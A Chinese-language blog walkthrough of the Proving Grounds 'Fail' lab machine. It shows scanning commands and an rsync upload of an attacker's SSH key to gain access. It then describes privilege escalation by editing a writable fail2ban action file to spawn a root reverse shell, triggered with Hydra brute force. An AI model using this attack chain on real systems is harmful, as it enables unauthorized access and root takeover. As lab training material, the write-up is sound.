Proving Grounds Practice : Fail Walkthrough

 Proving Grounds Practice : Fail Walkthrough


Foothole (立足點 ) :

  • 873 Port 是 rsync 標準 Port
  • 利用 rsync 寫入檔案的權限上傳 authorized_keys
  • 使用 id_rsa KEY 登入系統

PE ( 提權 ) :

  • 發現 Fail2ban 系統且相關檔案有寫入的權限
  • 利用觸發 IPS 寫黑名單的設定檔,寫入一筆執行 Reverse Shell
  • 利用 Hydra 大量 Try 密碼觸發機制拿到 Reverse Shell

注意事項 :

  • rsync 的標準利用
  • IPS Fail2ban 的利用


第一步 Rustscan,└─$ rustscan -a 192.168.207.126 --scripts none --ulimit 5000 | tee rustscan

只有兩個 Port 22、873,看來不是很簡單就是很難搞



snmp closed,└─$ sudo nmap -sU -p 161 192.168.207.126 | tee snmp



nmap,└─$ sudo nmap -sCV -A -p 22,873 192.168.207.126 | tee nmap

22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

873/tcp open  rsync   (protocol version 31)



└─$ searchsploit rsync                                    



使用 21242 然後 └─$ gcc 21242.c -o 21242,出現一堆錯誤



改搜尋最好用的 Hacktricks 關鍵字 873 & Rsync



參考 : https://book.hacktricks.xyz/network-services-pentesting/873-pentesting-rsync



照著做做看,先枚舉└─$ nc -nv 192.168.207.126 873,枚舉的指令看來沒用


有告知可以用 nmap 掃


掃完跟 nc #list 結果一樣顯示 fox    fox home

已知分享的名稱為 fox



繼續往下看



列舉分享的資料夾,└─$ rsync -av --list-only rsync://192.168.207.126/fox

看來不用帶使用者名稱就可以直接列舉,該目錄看來是使用者 fox 的 home 目錄



剛用了第一個指令帶上 --list-only 參數,現在將參數拿掉並加上下載的路徑

指令 └─$ rsync -av rsync://192.168.207.126/fox ./rsyn_shared,檔案通通下載下來了



檔案內容沒有啥特別的



測試使用者帳號 fox 與密碼組合試試看 ssh,沒發現可用的結果



測試上傳 test.txt 到 fox 目錄看看

上傳指令 └─$ rsync -av ./test/test.txt rsync://192.168.207.126/fox

再 List 一次看看 └─$ rsync -av --list-only rsync://192.168.207.126/fox,確認檔案可以上傳寫入



先自己建立 Key,ssh-keygen



重新命名 id_rsa.pub 成 authorized_keys 然後放到 .ssh 目錄下



上傳 kali 本機的 .ssh 目錄到靶機

└─$ rsync -av ./.ssh rsync://192.168.207.126/fox




ssh 帶 id_rsa 進去了



cat /etc/crontab



ls -la /home



cat /etc/passwd

沒有特別的其他帳號



sudo -l 需要 fox 的密碼,測試了幾組都沒有過



SUID 指令,find / -perm -u=s -type f 2>/dev/null,沒有特別的指令



網路服務查看 netstat -natlp,沒有發現本機特殊的服務



查看可寫入的目錄,find / -writable -type d 2>/dev/null

有個怪怪的路徑 "/etc/fail2ban/action.d"



會注意到這個路徑是因為在列舉 id 時有發現現有使用者屬於 fail2ban 群組



而這個路徑下隸屬該群組的都有寫入的權限



Fail2ban 是 Linux 上的 IPS 系統

參考 : https://zh.wikipedia.org/zh-tw/Fail2ban



查看這個檔案 /etc/fail2ban/action.d/iptables-multiport.conf

內容有一個 actionban 的變數,目的是將 IP 列入黑名單



由於由 root 執行,且我們有寫入權限,所以直接在該執行操作加上我們想要的操作即可



修改該檔案讓他建立 Reverse Shell 回來



利用 hydra 大量 try 密碼讓它觸發 IPS



4444 listener 進來了,whoami & id 看一下確認是管理者




留言

這個網誌中的熱門文章

Challenge 0 - Secura(2)

Challenge 0 - Secura(1)

Challenge 8 - Poseidon(0)